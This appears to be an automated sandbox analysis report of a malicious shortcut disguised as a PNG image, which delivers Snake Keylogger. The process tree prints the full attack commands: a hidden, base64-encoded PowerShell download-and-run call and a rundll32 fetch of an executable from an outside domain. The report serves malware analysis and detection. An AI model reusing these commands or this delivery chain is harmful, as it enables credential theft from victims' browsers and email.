Analysis

  • max time kernel
    143s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231222-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231222-enlocale:en-usos:windows10-2004-x64system
  • submitted
    31/01/2024, 08:13

General

  • Target

    Image012.png.lnk

  • Size

    2KB

  • MD5

    395be4940bf35809d5bcfe58646b278c

  • SHA1

    02b01088e3bb584641281c36118c930f3c9b963d

  • SHA256

    4c5fe2c863349aa4f43dd9f9f932dac11576832a12bc5e84b840c09c1308f540

  • SHA512

    9add65f4de5ef386b7191ac869ca1801dcdd9525189fdb94a5d86c82c4c51d983e3966ef148f392d48382588ed8882ea25120dcbd6bc8d8a7e63e362e6b2929b

Malware Config

Signatures

  • Snake Keylogger

    Keylogger and Infostealer first seen in November 2020.

  • Snake Keylogger payload 16 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Delays execution with timeout.exe 1 IoCs
  • Kills process with taskkill 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 2 IoCs
  • Modifies registry class 16 IoCs
  • Suspicious behavior: EnumeratesProcesses 11 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 33 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\Image012.png.lnk
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3852
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" Cmd /C pOwerShEll.eXe -EX bYPASs -NOp -W hiDDEN -eC IABpAG4AVgBPAGsARQAtAFcARQBCAHIAZQBxAFUARQBTAFQAIAAJAC0AVQBSAEkAIAAJAB0gaAB0AHQAcAA6AC8ALwB2AHkAYgBzAG4AZgAzAC4AcwBhAC4AYwBvAG0ALwBtAGUAZAAuAGIAYQB0AB0gIAAJAC0AbwBVAHQARgBpAEwARQAgAAkAHSAkAEUAbgBWADoAVABlAE0AUABcAGoAcgBiAGIAcwBmAHIALgBiAGEAdAAdICAACQA7ACAASQBOAFYAbwBrAGUALQBpAFQARQBtACAACQAdICQARQBOAHYAOgB0AEUAbQBwAFwAagByAGIAYgBzAGYAcgAuAGIAYQB0AB0g
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1676
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        pOwerShEll.eXe -EX bYPASs -NOp -W hiDDEN -eC IABpAG4AVgBPAGsARQAtAFcARQBCAHIAZQBxAFUARQBTAFQAIAAJAC0AVQBSAEkAIAAJAB0gaAB0AHQAcAA6AC8ALwB2AHkAYgBzAG4AZgAzAC4AcwBhAC4AYwBvAG0ALwBtAGUAZAAuAGIAYQB0AB0gIAAJAC0AbwBVAHQARgBpAEwARQAgAAkAHSAkAEUAbgBWADoAVABlAE0AUABcAGoAcgBiAGIAcwBmAHIALgBiAGEAdAAdICAACQA7ACAASQBOAFYAbwBrAGUALQBpAFQARQBtACAACQAdICQARQBOAHYAOgB0AEUAbQBwAFwAagByAGIAYgBzAGYAcgAuAGIAYQB0AB0g
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4184
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\jrbbsfr.bat" "
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:3168
          • C:\Windows\system32\DeviceCredentialDeployment.exe
            DEVIcECRedentIALdEPLOymEnt
            5⤵
              PID:2376
            • C:\Windows\system32\rundll32.exe
              RUNDll32 inEtcpL.CPl , ClearMyTracksByProcess 8
              5⤵
              • Modifies Internet Explorer settings
              • Suspicious use of FindShellTrayWindow
              • Suspicious use of WriteProcessMemory
              PID:4464
              • C:\Windows\system32\rundll32.exe
                C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
                6⤵
                • Modifies registry class
                PID:220
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Local\Temp\lxRipDbgv6WP.BAT
              5⤵
              • Suspicious use of WriteProcessMemory
              PID:2356
              • C:\Windows\system32\DeviceCredentialDeployment.exe
                dEvicEcredeNTiAldEPlOYMeNT
                6⤵
                  PID:2328
                • C:\Windows\system32\timeout.exe
                  timEout /T 7 /nObREAK
                  6⤵
                  • Delays execution with timeout.exe
                  PID:2148
                • C:\Windows\system32\taskkill.exe
                  TAskkilL.Exe /F /Im rUNdlL32.exE
                  6⤵
                  • Kills process with taskkill
                  • Suspicious use of AdjustPrivilegeToken
                  PID:5116
              • C:\Windows\system32\rundll32.exe
                rundLl32 C:\Windows\sYStEm32\SHiMGVW.dLl , ImageView_FullscreenA http://vybsnf3.sa.com/jertrs.exe
                5⤵
                • Blocklisted process makes network request
                • Suspicious use of FindShellTrayWindow
                PID:1188
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c DIr C:\Users\Admin\AppData\Local\micROsOfT\WInDOwS\InEtCAChe\ie\ /s /B
                5⤵
                  PID:5104
                • C:\Windows\system32\conhost.exe
                  CoNhOsT C:\Users\Admin\AppData\Local\micROsOfT\WInDOwS\InEtCAChe\ie\7V1N9ZS9\jertrs[1].exe
                  5⤵
                  • Suspicious use of WriteProcessMemory
                  PID:5060
                  • C:\Users\Admin\AppData\Local\micROsOfT\WInDOwS\InEtCAChe\ie\7V1N9ZS9\jertrs[1].exe
                    C:\Users\Admin\AppData\Local\micROsOfT\WInDOwS\InEtCAChe\ie\7V1N9ZS9\jertrs[1].exe
                    6⤵
                    • Executes dropped EXE
                    • Suspicious use of SetThreadContext
                    • Suspicious behavior: MapViewOfSection
                    • Suspicious use of SetWindowsHookEx
                    • Suspicious use of WriteProcessMemory
                    PID:4128
                    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe
                      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe"
                      7⤵
                      • Accesses Microsoft Outlook profiles
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      • outlook_office_path
                      • outlook_win_path
                      PID:964

        Network

              MITRE ATT&CK Enterprise v15

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\7V1N9ZS9\jertrs[1].exe

                Filesize

                1.3MB

                MD5

                b07832ec5f73ae5f2888ebab2aa5283a

                SHA1

                cb11a9e432df439fde94b6a3b3677d0112cac3c5

                SHA256

                dc613f5e91169b3744adfc0f6c968e3501c4bc1221ce12bdaa948ce9e5a1da21

                SHA512

                7a3233303f57b57e72eaabd792796339611daa39bea2279ff1879a2728afc3b6cbb25cb9b66f96f86deda3aa7fda95cab07f0a549981dddbbb4f71c25132da15

              • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ns1iedlr.ifu.ps1

                Filesize

                60B

                MD5

                d17fe0a3f47be24a6453e9ef58c94641

                SHA1

                6ab83620379fc69f80c0242105ddffd7d98d5d9d

                SHA256

                96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                SHA512

                5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

              • C:\Users\Admin\AppData\Local\Temp\jrbbsfr.bat

                Filesize

                552B

                MD5

                885e4bf9c36d1964f751bca33e898503

                SHA1

                4055100dda8ee3845cfda6735900c556d8c19ca1

                SHA256

                5efe4bb30df918412651e2060b234aac78f108793c2a25500aca8488ada3ab2a

                SHA512

                5da165cb4571777b53fbf324dabd63e73b7af94a88d0b08da8a0d28db1f6b947ad41494331be734836d2b5cb7ef090f1eed1e73b8ed9deb2fb9a37c4873691e3

              • C:\Users\Admin\AppData\Local\Temp\lxRipDbgv6WP.BAT

                Filesize

                88B

                MD5

                39aceb0c8a015a4e8f66498e03ff16db

                SHA1

                4707695dece3a70bfbe55868d059a22e4325eaf0

                SHA256

                7eec1caeee2e9781635bc00daf1c0dbf98ec325625776afc4fb621e2eabd4527

                SHA512

                0cc87584d277036c2f94f25484beeb60b07adcb1ccc90b6ddfc1e6521944c35f87cc2c9f15a2b2b453a1cd8e9c0c16ade7d6ceb4f6b082c4be6f8d1aaf8a53dc

              • C:\Users\Admin\AppData\Local\micROsOfT\WInDOwS\InEtCAChe\ie\7V1N9ZS9\jertrs[1].exe

                Filesize

                331KB

                MD5

                ec5031625d0458f61b9ce0b9115e9b24

                SHA1

                bf4e8ad7bfa02fb651b5afb75bcfe2f0e75978b9

                SHA256

                255275e570fe7745e01411f4793511b19f5a8562ea85f92160793592136520d3

                SHA512

                7323beb6ddf25c8ead15f565895cc86f4514ef2f3cf25df2672b1df3c5a6fc22987a258a7ded375d942ebab1afc079c1d145db0b60767c98667d04e1840d5fc3

              • memory/964-84-0x0000000073900000-0x00000000740B0000-memory.dmp

                Filesize

                7.7MB

              • memory/964-87-0x0000000073900000-0x00000000740B0000-memory.dmp

                Filesize

                7.7MB

              • memory/964-90-0x0000000006920000-0x00000000069B2000-memory.dmp

                Filesize

                584KB

              • memory/964-88-0x0000000006830000-0x0000000006880000-memory.dmp

                Filesize

                320KB

              • memory/964-89-0x0000000006A50000-0x0000000006C12000-memory.dmp

                Filesize

                1.8MB

              • memory/964-91-0x00000000068B0000-0x00000000068BA000-memory.dmp

                Filesize

                40KB

              • memory/964-86-0x00000000054C0000-0x000000000555C000-memory.dmp

                Filesize

                624KB

              • memory/964-76-0x0000000000400000-0x000000000042B000-memory.dmp

                Filesize

                172KB

              • memory/964-85-0x0000000005B70000-0x0000000006114000-memory.dmp

                Filesize

                5.6MB

              • memory/964-83-0x0000000000400000-0x0000000000426000-memory.dmp

                Filesize

                152KB

              • memory/964-80-0x0000000076F52000-0x0000000076F53000-memory.dmp

                Filesize

                4KB

              • memory/964-81-0x0000000000BE0000-0x0000000000BE1000-memory.dmp

                Filesize

                4KB

              • memory/4128-37-0x0000000000690000-0x0000000000790000-memory.dmp

                Filesize

                1024KB

              • memory/4128-74-0x0000000002550000-0x0000000002558000-memory.dmp

                Filesize

                32KB

              • memory/4128-46-0x0000000000690000-0x0000000000790000-memory.dmp

                Filesize

                1024KB

              • memory/4128-47-0x0000000000690000-0x0000000000790000-memory.dmp

                Filesize

                1024KB

              • memory/4128-53-0x0000000000690000-0x0000000000790000-memory.dmp

                Filesize

                1024KB

              • memory/4128-57-0x0000000000690000-0x0000000000790000-memory.dmp

                Filesize

                1024KB

              • memory/4128-55-0x0000000000690000-0x0000000000790000-memory.dmp

                Filesize

                1024KB

              • memory/4128-59-0x0000000000400000-0x000000000054B000-memory.dmp

                Filesize

                1.3MB

              • memory/4128-61-0x0000000000690000-0x0000000000790000-memory.dmp

                Filesize

                1024KB

              • memory/4128-62-0x0000000000400000-0x000000000054B000-memory.dmp

                Filesize

                1.3MB

              • memory/4128-64-0x0000000000400000-0x000000000054B000-memory.dmp

                Filesize

                1.3MB

              • memory/4128-67-0x0000000000690000-0x0000000000790000-memory.dmp

                Filesize

                1024KB

              • memory/4128-68-0x0000000000690000-0x0000000000790000-memory.dmp

                Filesize

                1024KB

              • memory/4128-69-0x0000000000690000-0x0000000000790000-memory.dmp

                Filesize

                1024KB

              • memory/4128-70-0x0000000000690000-0x0000000000790000-memory.dmp

                Filesize

                1024KB

              • memory/4128-71-0x0000000000690000-0x0000000000790000-memory.dmp

                Filesize

                1024KB

              • memory/4128-72-0x0000000000400000-0x000000000054B000-memory.dmp

                Filesize

                1.3MB

              • memory/4128-45-0x0000000000690000-0x0000000000790000-memory.dmp

                Filesize

                1024KB

              • memory/4128-75-0x0000000000690000-0x0000000000790000-memory.dmp

                Filesize

                1024KB

              • memory/4128-44-0x0000000000690000-0x0000000000790000-memory.dmp

                Filesize

                1024KB

              • memory/4128-42-0x0000000000690000-0x0000000000790000-memory.dmp

                Filesize

                1024KB

              • memory/4128-43-0x0000000000400000-0x000000000054B000-memory.dmp

                Filesize

                1.3MB

              • memory/4128-82-0x0000000002550000-0x0000000002558000-memory.dmp

                Filesize

                32KB

              • memory/4128-79-0x0000000074BA0000-0x0000000074CFD000-memory.dmp

                Filesize

                1.4MB

              • memory/4128-78-0x0000000000400000-0x000000000054B000-memory.dmp

                Filesize

                1.3MB

              • memory/4128-40-0x0000000000690000-0x0000000000790000-memory.dmp

                Filesize

                1024KB

              • memory/4128-39-0x0000000074BA0000-0x0000000074CFD000-memory.dmp

                Filesize

                1.4MB

              • memory/4128-32-0x0000000076F52000-0x0000000076F53000-memory.dmp

                Filesize

                4KB

              • memory/4128-34-0x0000000002340000-0x0000000002341000-memory.dmp

                Filesize

                4KB

              • memory/4184-18-0x00007FFA58680000-0x00007FFA59141000-memory.dmp

                Filesize

                10.8MB

              • memory/4184-12-0x000001DF30CE0000-0x000001DF30CF0000-memory.dmp

                Filesize

                64KB

              • memory/4184-11-0x000001DF30CE0000-0x000001DF30CF0000-memory.dmp

                Filesize

                64KB

              • memory/4184-10-0x00007FFA58680000-0x00007FFA59141000-memory.dmp

                Filesize

                10.8MB

              • memory/4184-9-0x000001DF30C60000-0x000001DF30C82000-memory.dmp

                Filesize

                136KB